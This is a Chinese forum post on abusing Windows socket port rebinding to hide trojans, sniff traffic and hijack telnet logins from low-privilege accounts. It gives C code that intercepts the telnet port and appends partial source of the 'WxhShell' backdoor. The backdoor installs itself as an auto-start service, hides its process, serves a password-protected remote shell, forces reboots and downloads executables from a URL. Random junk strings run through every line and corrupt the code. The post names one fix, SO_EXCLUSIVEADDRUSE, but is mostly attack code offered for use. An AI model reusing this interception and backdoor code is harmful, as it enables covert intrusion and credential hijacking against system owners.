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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m* 3ipI{h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4)iP%%JH  
[{Wo:c9Qq1  
  saddr.sin_family = AF_INET; 6FDj:~  
qc(e3x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "M/c0`>C!i  
';R]`vWFe  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QGN+f)  
2TGND-(j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !Q\*a-C  
(BY 0b%^  
  这意味着什么?意味着可以进行如下的攻击: lJ3VMYVrUP  
@ lB{!j&q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cW^LmA  
^_#wo"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YeCnk:_ kg  
/ =9Y(v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X3sAy(q  
(Z<@dkO?)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |&K;*g|a  
y A5h^I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lITd{E,+r  
8Yc-3ozH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h[dJNawL  
QPm[4Fd{G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7 7bwYKIn  
2S_u/32]W  
  #include 4A+g-{d  
  #include FWu:5fBZY  
  #include Sfe[z=7S  
  #include    Z"c-Ly{vEj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P[fy  
  int main() |mMsU,*gB  
  { bIm4s  
  WORD wVersionRequested; 4L>8RiiQE;  
  DWORD ret; kk5&lak2V  
  WSADATA wsaData; }"+"nf5h  
  BOOL val; h GA2.{  
  SOCKADDR_IN saddr; G^{~'TZv%  
  SOCKADDR_IN scaddr; "d<uc j  
  int err; 6"iNh)  
  SOCKET s; EY]H*WJJ  
  SOCKET sc; *  1}dk`-  
  int caddsize; =x+1A)Q  
  HANDLE mt; ~Bl,_?CBr  
  DWORD tid;   d>u^ 7:  
  wVersionRequested = MAKEWORD( 2, 2 ); & &CrF~  
  err = WSAStartup( wVersionRequested, &wsaData );  dF `7]  
  if ( err != 0 ) { ,q%X`F rc  
  printf("error!WSAStartup failed!\n"); 0WzoI2Q  
  return -1; A< .5=E,/  
  } L:C/PnIV  
  saddr.sin_family = AF_INET; d"5_x]Z;  
    IZrcn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t,LK92?  
&n,v@ gt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0`zdj  
  saddr.sin_port = htons(23); oi`L ;w|]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,R=!ts[qi  
  { -W6@[5c  
  printf("error!socket failed!\n"); sDs.da#*2  
  return -1; Sm[#L`eqW  
  } hqeknTGsIn  
  val = TRUE; +6>2= ,?Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SN)Czi#7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GTOA>RB2  
  { mNC?kp  
  printf("error!setsockopt failed!\n"); @5&57R3>  
  return -1; gK~Z Ch  
  } n3?P8m$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2Bi]t%<{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #}fvjJ{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @|;[ ;:h@  
+o3n%( ^~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]*]*O|w  
  { ;Qy Ew5  
  ret=GetLastError(); ;Mq'+4$  
  printf("error!bind failed!\n"); 8;`B3N7  
  return -1; lI46 f  
  } 7kD?xHpe  
  listen(s,2); <V U-ja*(J  
  while(1) \X6q A-Ht  
  { 27R4B O  
  caddsize = sizeof(scaddr); w*"Ii%iA<  
  //接受连接请求 POm;lM$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /V0Put  
  if(sc!=INVALID_SOCKET) >"UXY)  
  { EO(l?Fgw]$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5M>p%/  
  if(mt==NULL) V}vL[=QFZ(  
  { g_ep 5#\D  
  printf("Thread Creat Failed!\n"); 7V^j9TC  
  break; _"F=4`lJ  
  } ug{sQyLN  
  } o1 27? ^  
  CloseHandle(mt); 8yYag[m8  
  } [jN Vk3  
  closesocket(s); L$a{%]I  
  WSACleanup(); u`B/9-K)y  
  return 0; E_ 30)"]  
  }   A##Q>|>)  
  DWORD WINAPI ClientThread(LPVOID lpParam) j/O9LygB  
  { ^{J^oZ'%~  
  SOCKET ss = (SOCKET)lpParam; <NDV 5P  
  SOCKET sc; 44n41.Q]  
  unsigned char buf[4096]; U1 3Lsky%  
  SOCKADDR_IN saddr; !1S!)#  
  long num; Y#):1C1  
  DWORD val;  })!-  
  DWORD ret; 9(X~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !<h9XccN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L})fYVX  
  saddr.sin_family = AF_INET; LDw.2E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zZ9Ei-Q  
  saddr.sin_port = htons(23); 2N-p97"g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4]zn,g?&  
  { 902A,*qq  
  printf("error!socket failed!\n"); r#j3O}(n  
  return -1; cMtUb  
  } QHXpX9  
  val = 100; oT:w GBW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SANb g&$  
  { CNj |vYj  
  ret = GetLastError(); F*z>B >{)  
  return -1; 8DD1wK\U~  
  } #6y fIvap  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {?w *n_T.  
  { 9JMf T]  
  ret = GetLastError(); * XDe:A  
  return -1; i+Ne.h  
  } q}'<[Wg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @w%kOX  
  { [vBP,_Tjx  
  printf("error!socket connect failed!\n"); tOF8v8Hd  
  closesocket(sc); u ?F},VL;  
  closesocket(ss); "a _S7K  
  return -1; Zq: }SU  
  } W }Ll)7(|T  
  while(1) -NzOX"V]3  
  { ^755 LW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @VND}{j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }!*|VdL0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nR Hl Hu  
  num = recv(ss,buf,4096,0); &f A1kG%  
  if(num>0) u,@ac[!vP  
  send(sc,buf,num,0); va(6?"9  
  else if(num==0) 4*n1Xu 7^x  
  break; B'B0e`  
  num = recv(sc,buf,4096,0); ~y 2joStx  
  if(num>0) H93ug1,  
  send(ss,buf,num,0); N1>M<N03  
  else if(num==0) z {NK(oW  
  break; ca,JQrm  
  } cy8r}wD  
  closesocket(ss); GAR6nJCz  
  closesocket(sc); IAmMO[9H  
  return 0 ; ( Q&jp!WU  
  } isnpSN"z  
Mu" vj*F  
X)TZ  S  
========================================================== 8BY`~TZO$q  
/K,@{__JP  
下边附上一个代码,,WXhSHELL |e+r~).4B  
T/%k1Hsa4H  
========================================================== EcR[b@YI  
t1#f*G5  
#include "stdafx.h" k9y/.Mu  
\WUCm.w6\%  
#include <stdio.h> )>rYp )  
#include <string.h> z`J-J*R>d  
#include <windows.h> *rm[\  
#include <winsock2.h> ]3U|K .G  
#include <winsvc.h> /HSg)  
#include <urlmon.h> DfOig LG*  
:h0!giqoQ  
#pragma comment (lib, "Ws2_32.lib") Qc 1mR\.5  
#pragma comment (lib, "urlmon.lib") % 5!Y#$:{o  
-S@ ys  
#define MAX_USER   100 // 最大客户端连接数 v49 i.c9  
#define BUF_SOCK   200 // sock buffer 1 !.P H   
#define KEY_BUFF   255 // 输入 buffer I=E\=UTG,5  
;$r!eFY;  
#define REBOOT     0   // 重启 zs-,Y@ZL  
#define SHUTDOWN   1   // 关机 cnDBT3$~Z  
5 tVg++I  
#define DEF_PORT   5000 // 监听端口 "LZv\c~v,%  
3\B~`=*q/  
#define REG_LEN     16   // 注册表键长度 LKud'  
#define SVC_LEN     80   // NT服务名长度 JS >"j d#  
~W gO{@Mw  
// 从dll定义API r_V^sX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 $)}d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1 x0)mt3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;UQ&yj%x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TU2MG VYy  
Pi[(xD8  
// wxhshell配置信息 M%eTNsbNm  
struct WSCFG { iqTmgE-  
  int ws_port;         // 监听端口 HM\}C.u  
  char ws_passstr[REG_LEN]; // 口令 NA$ODK -  
  int ws_autoins;       // 安装标记, 1=yes 0=no <U /r U9O  
  char ws_regname[REG_LEN]; // 注册表键名 rqM_#[Y?  
  char ws_svcname[REG_LEN]; // 服务名 !6+V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /jU4mPb;\D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 - :x6X$=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I\82_t8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;4vx+>-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?l 0WuU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nm0|U.<  
cl'qw##  
}; zL+M-2hV  
yA<\?Ps  
// default Wxhshell configuration |y]8gL^  
struct WSCFG wscfg={DEF_PORT, 7YU}-gi  
    "xuhuanlingzhe", VB+y9$Y'  
    1, 1i|5ii*vc  
    "Wxhshell", U&gl$/4U@  
    "Wxhshell", |uA /72  
            "WxhShell Service", {'zs4)vw  
    "Wrsky Windows CmdShell Service", pmDFmES  
    "Please Input Your Password: ", $I3}% '`+  
  1, }Do$oyAV$G  
  "http://www.wrsky.com/wxhshell.exe", IkLcL8P^  
  "Wxhshell.exe" E-#}.}i5  
    }; qEPC]es|T  
LkJ-M=y  
// 消息定义模块 )}\J    
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i~*#z&4A+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z0tm3ovp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {,o 0N\(  
char *msg_ws_ext="\n\rExit."; sCAWrbOe>  
char *msg_ws_end="\n\rQuit."; R M`iOV,Y  
char *msg_ws_boot="\n\rReboot..."; bO gVC g  
char *msg_ws_poff="\n\rShutdown..."; 0 !F! Y_  
char *msg_ws_down="\n\rSave to "; R?kyJ4S  
Qb1hk*$=  
char *msg_ws_err="\n\rErr!"; #$-`+P  
char *msg_ws_ok="\n\rOK!"; (DKQHL;  
iC<qWq|S_m  
char ExeFile[MAX_PATH]; +r]2.  
int nUser = 0; hzy#%FaB  
HANDLE handles[MAX_USER]; 4{=^J2z  
int OsIsNt; b U>.Bp]  
v1s0kdR,>  
SERVICE_STATUS       serviceStatus; Al}%r85  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WS ^%< h#  
ohB@ijC!  
// 函数声明 ncij)7c)u  
int Install(void); ~$ "P\iJ  
int Uninstall(void); * @'N/W/8  
int DownloadFile(char *sURL, SOCKET wsh); wEb10t,  
int Boot(int flag); $)M 5@KT  
void HideProc(void); 7brC@+ZD  
int GetOsVer(void); (yhnv Z  
int Wxhshell(SOCKET wsl); Mvlqx J$  
void TalkWithClient(void *cs); `CEHl &w  
int CmdShell(SOCKET sock); $+[ v17lF  
int StartFromService(void); 8Nf%<nUv  
int StartWxhshell(LPSTR lpCmdLine); )ocr.wU@  
_2S( *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ft 4(^|~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 32,Y 3!%  
)Es|EPCx!  
// 数据结构和表定义 p#AQXIF0  
SERVICE_TABLE_ENTRY DispatchTable[] = kR;Hb3hb  
{ QpMi+q Y  
{wscfg.ws_svcname, NTServiceMain}, um1xSf1Xv  
{NULL, NULL} A#Jx6T`a  
}; #?RT$L>n  
,9~2#[|lq  
// 自我安装 _B^Q;54c  
int Install(void) r1 [Jo|4vo  
{ ~myY-nEY  
  char svExeFile[MAX_PATH]; GA"zO,  
  HKEY key; h2m@Q={  
  strcpy(svExeFile,ExeFile); IpI|G!Y,  
qv$m5CJvK  
// 如果是win9x系统,修改注册表设为自启动 Ya-kM UW  
if(!OsIsNt) { I=9sTR)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9g`o+U{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jB%aHUF;  
  RegCloseKey(key); - 1tiy.^$F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xr1,D5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TKZ[H$Z  
  RegCloseKey(key); W(,3j{d2i  
  return 0; _T.k/a  
    } 5}"9)LT@@w  
  } z[0B"f  
} }w/6"MJ[n  
else { 4,qhWe`/  
QlK]2r9  
// 如果是NT以上系统,安装为系统服务 ~-o[v-\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 78/,rp#'_  
if (schSCManager!=0) =^`?O* /;  
{ ^ah9:}Ll  
  SC_HANDLE schService = CreateService xh9Os <  
  ( f#b;s<G  
  schSCManager, ])NQzgS  
  wscfg.ws_svcname, aLt2fB1)  
  wscfg.ws_svcdisp, 4 oZm0  
  SERVICE_ALL_ACCESS, :[.**,0R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'yR)z\)  
  SERVICE_AUTO_START, =/MA`>  
  SERVICE_ERROR_NORMAL, jdAjCy;s!  
  svExeFile, BXB ZX@jVk  
  NULL,  &'<e9  
  NULL, yw+LT,AQ.  
  NULL, )>U7+ Me  
  NULL, Q?]-/v  
  NULL E8] kd  
  ); Av_JcH  
  if (schService!=0) g! DJ W  
  { YzVhNJWpw  
  CloseServiceHandle(schService); 4Bz:n  
  CloseServiceHandle(schSCManager); ;30SnR/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nb_$g@ 03  
  strcat(svExeFile,wscfg.ws_svcname); ` D={l29H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b,uu dtlH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EN;s 8sC!  
  RegCloseKey(key); =WM^i86  
  return 0; ~X!Z+Vg  
    } Wg!JQRHtT  
  } ~Y/o9x0  
  CloseServiceHandle(schSCManager); 0*yD   
} b .|k j  
} Lv m"!!  
xSy`VuSl  
return 1; P:&X1MC  
} Bw25+l Px  
="J *v>  
// 自我卸载  aK33bn'j  
int Uninstall(void) a(oa?OdJ  
{ &r)[6a$fW  
  HKEY key; 1V:I }~\  
iqr/MB,W  
if(!OsIsNt) { v,^W& W.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z|$M 9E  
  RegDeleteValue(key,wscfg.ws_regname); XDohfa _  
  RegCloseKey(key); }ej>uZVe<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &hu>yH>j  
  RegDeleteValue(key,wscfg.ws_regname); ;{89*e*)  
  RegCloseKey(key); F_F02:t  
  return 0; ! 8*l U2  
  } wGg_ vAn  
} FS^~e-A  
} cK.z&y0]  
else { VDTt}J8  
7m:ZG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cB=ExD.Q  
if (schSCManager!=0) b|oT!s  
{ ,=V9 ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <NXJ&xs-+  
  if (schService!=0) {e p(_1  
  { Gy)2  
  if(DeleteService(schService)!=0) { D$Eq~VQ  
  CloseServiceHandle(schService); yc+pNC)ue_  
  CloseServiceHandle(schSCManager); ! G3Gr  
  return 0; AW8*bq1  
  } {;vLM* '  
  CloseServiceHandle(schService); 03H0(ku=  
  } y4)iL?!J~  
  CloseServiceHandle(schSCManager); ZXl_cq2r  
} Hg5 :>?Lw@  
} 'S%H"W\  
E.N  
return 1; 55Ya(E  
} "fu:hHq  
fPPC`d&Q3  
// 从指定url下载文件 ir|c<~_=  
int DownloadFile(char *sURL, SOCKET wsh) Kk`Lu S?  
{ %X|u({(zb  
  HRESULT hr; ?W2u0N  
char seps[]= "/"; +}R#mco5K  
char *token; -nXlW  
char *file; }Xvm( ;  
char myURL[MAX_PATH]; DS=$* Trk  
char myFILE[MAX_PATH]; `vZX"+BAh  
Y'C1L4d  
strcpy(myURL,sURL); =;"=o5g_  
  token=strtok(myURL,seps); lhC hk7l  
  while(token!=NULL) PdtL Cgd  
  { 1xI  
    file=token; YS:p(jtd  
  token=strtok(NULL,seps); =;Dj[<mJ45  
  } ly:2XvV3~  
T~L&c  
GetCurrentDirectory(MAX_PATH,myFILE); f@[qS7ok  
strcat(myFILE, "\\"); R$X~d8o>%  
strcat(myFILE, file); O,JS*jXl  
  send(wsh,myFILE,strlen(myFILE),0); GZ^Qt*5 {  
send(wsh,"...",3,0); YPW UncV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XY#.?<"Q8  
  if(hr==S_OK) X|-[i hp;  
return 0; dXfLN<nD>U  
else 0j;q^>  
return 1; yd=b!\}WJ  
*3)kr=x  
} +PS jBO4!  
E>+>!On)b  
// 系统电源模块 yzT4D>1,  
int Boot(int flag) XBoq/kbw!  
{ |az2vD6P  
  HANDLE hToken; )k;;O7C k  
  TOKEN_PRIVILEGES tkp; m*jTvn  
Ol~M BQs  
  if(OsIsNt) { l dqU#{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #_{Q&QUk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }R11G9N.  
    tkp.PrivilegeCount = 1; Z&O6<=bg!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tzthc*-<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jD${ZIv  
if(flag==REBOOT) { SA7(EJ95  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Re&"Q8I.8  
  return 0; [Q+k2J_h  
} P?S]Q19Q4  
else { 5vg="@O K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (zh[1[a  
  return 0; tva=DS  
} NBHpM}1xtU  
  } yzv"sd[8N  
  else { f ,4erTBH  
if(flag==REBOOT) { . P+Qu   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MqJ5|C.q  
  return 0; t1]/Bw`j/  
} Vd(n2JMtG  
else { \ 'Va(}v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) { :1X N  
  return 0; 'ZB^=T  
} ()48>||  
} q k 6  
8CZ%-}-%$  
return 1; Z"RgqNf  
} *~>p;*  
X'-Yz7J?o  
// win9x进程隐藏模块 !|up"T I  
void HideProc(void) 7f4O~4.[i  
{ :eSsqt9]9  
&7oL2 Wf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7[w<v(Rc  
  if ( hKernel != NULL ) vFB^h1k~.M  
  { H>A6VDu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JJM<ywPGp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2 rr=FJ  
    FreeLibrary(hKernel); [orL.D]  
  } [iEz?1.,  
S>r",S  
return; VX&PkGi?o  
} _bi)d201  
SI=u-'%  
// 获取操作系统版本 NB4O,w  
int GetOsVer(void) PO?_i>mA  
{ r5Tdp)S  
  OSVERSIONINFO winfo; A4cOnG,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c(e>Rmh  
  GetVersionEx(&winfo); 6tndC o;`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) //_H _ue$  
  return 1; 4A6Yl6\Y  
  else H=Ilum06  
  return 0; s<)lC;#e  
} 5OppK(Oi*C  
? ep#s$i  
// 客户端句柄模块 bD{k=jum  
int Wxhshell(SOCKET wsl) uO`MA% z<  
{ O|~C qb  
  SOCKET wsh; EgU#r@7I  
  struct sockaddr_in client; =jJEl=*S  
  DWORD myID; C!*.jvhT  
\1Xk[%  
  while(nUser<MAX_USER) dniU{v  
{ eM:J_>7t  
  int nSize=sizeof(client); Iz5NA0[=2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _BmObXOp.  
  if(wsh==INVALID_SOCKET) return 1; Ph1XI&us9  
=i&,I{3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Vo8|?.WhX  
if(handles[nUser]==0) S k~"-HL|  
  closesocket(wsh); n+Kv^Y`qxO  
else -g]Rs!w'  
  nUser++; L"NHr~  
  } m&Mupl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ch_rV+  
8s@N NjV  
  return 0; b1.*cIv}  
} w_xca(  
~DI$O[KpR%  
// 关闭 socket :Iv;%a0 -  
void CloseIt(SOCKET wsh) UnF8#~  
{ "(^XZAU#W  
closesocket(wsh); hd(FOKOP  
nUser--; `x#Ud)g  
ExitThread(0); DS<1"4 b|  
} K"H\gmV_ g  
) ;\c{QF  
// 客户端请求句柄 3/@z4:p0R  
void TalkWithClient(void *cs) -f)fiQ-<  
{ FT@uZWgQ=  
M  9t7y  
  SOCKET wsh=(SOCKET)cs; 15\m.Ix  
  char pwd[SVC_LEN]; ^AS \a4`/  
  char cmd[KEY_BUFF]; :x)H!z P  
char chr[1]; &)%+DUV|  
int i,j; H<Oo./8+  
lUm(iYv;H  
  while (nUser < MAX_USER) { VN0We<\Z  
CwA_jOp  
if(wscfg.ws_passstr) { ViPC Yt`of  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X#lNS+&='  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P5h|* ?=  
  //ZeroMemory(pwd,KEY_BUFF); .B# .   
      i=0; (Q^sK\  
  while(i<SVC_LEN) { 0N.h:21(4  
!hBpon  
  // 设置超时 jO-?t9^  
  fd_set FdRead; bf"'xn9  
  struct timeval TimeOut; i#]e&Bru5  
  FD_ZERO(&FdRead); mm-s?+&M;  
  FD_SET(wsh,&FdRead); ZgP%sF  
  TimeOut.tv_sec=8;  uZS:  
  TimeOut.tv_usec=0; Xv8-<Ks  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L>1hiD&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y$ ys4X  
PgWWa*Ew  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9CY{}g  
  pwd=chr[0]; #) aLD0p  
  if(chr[0]==0xd || chr[0]==0xa) { YAr6 cl  
  pwd=0; Ae+)RBpc  
  break; /o9T [ ^\  
  } ,^UqE {  
  i++; Az`Aa0h]7  
    } c=oDzAzuV\  
fFjpQ~0  
  // 如果是非法用户,关闭 socket 1iy$n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F4EAC|Y  
} I,j4 BU4  
Tlsh[@Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /kW Z 8Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mgq!)  
$KiCs]I+  
while(1) { Oj5UG*  
g* q#VmE  
  ZeroMemory(cmd,KEY_BUFF); .f\LzZ-I:  
.Pc>1#z&[  
      // 自动支持客户端 telnet标准   t4WB^dHYp  
  j=0; 5p;AON  
  while(j<KEY_BUFF) { a1U|eLmUb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *@2Bh4  
  cmd[j]=chr[0]; K p3}A$uV  
  if(chr[0]==0xa || chr[0]==0xd) { tIsWPt]Y  
  cmd[j]=0; t]yxLl\  
  break; OXEk{#Uf[3  
  } Z2% HQL2  
  j++; L"bOc'GfQ  
    } =)[m[@,c  
=q4}(  
  // 下载文件 rFRcK>X\L  
  if(strstr(cmd,"http://")) { Kc MzY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^\\3bW9}H  
  if(DownloadFile(cmd,wsh)) (#Y~z',I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Da=EAG-{7  
  else Mt[yY|Ec|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QU"WpkO  
  } -+#%]P8l  
  else { 22`^Rsb,6L  
Gm=qn]c  
    switch(cmd[0]) { 9wgB J Jl7  
  <n2@;` D  
  // 帮助 8+zW:0"[  
  case '?': { 3db{Tcn\@]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w?Te%/s.  
    break; Q]:O#;"<  
  } g{8RPw]  
  // 安装 #2{-6ey  
  case 'i': {  +\/Q  
    if(Install()) |VBt:dd<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yh":>~k?SY  
    else {ZJO5*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 BCW2@Kp  
    break; =kjKK  
    } >rSjP1-F  
  // 卸载 (o^tmH*  
  case 'r': { 067c/ c  
    if(Uninstall()) _Cmmx`ln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[bkdL<  
    else L$ZjMJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d>NGCe  
    break; 7FB?t<x  
    } B VBn.ut  
  // 显示 wxhshell 所在路径 8:ubtB  
  case 'p': { Kb.qv)6i*  
    char svExeFile[MAX_PATH]; D!<F^mtl  
    strcpy(svExeFile,"\n\r"); wu41Mz7  
      strcat(svExeFile,ExeFile); vwCQvt  
        send(wsh,svExeFile,strlen(svExeFile),0); rPV Q#iB  
    break;  (I[_}l  
    } 615Ya<3f8  
  // 重启 ,6)N.  
  case 'b': { k s40 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xEb>6+-F@  
    if(Boot(REBOOT)) #8$?# dT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"Cf84E  
    else { ZlT }cA/n  
    closesocket(wsh); pu-HEv}]a|  
    ExitThread(0); eV;r /4  
    } th?+TNb^  
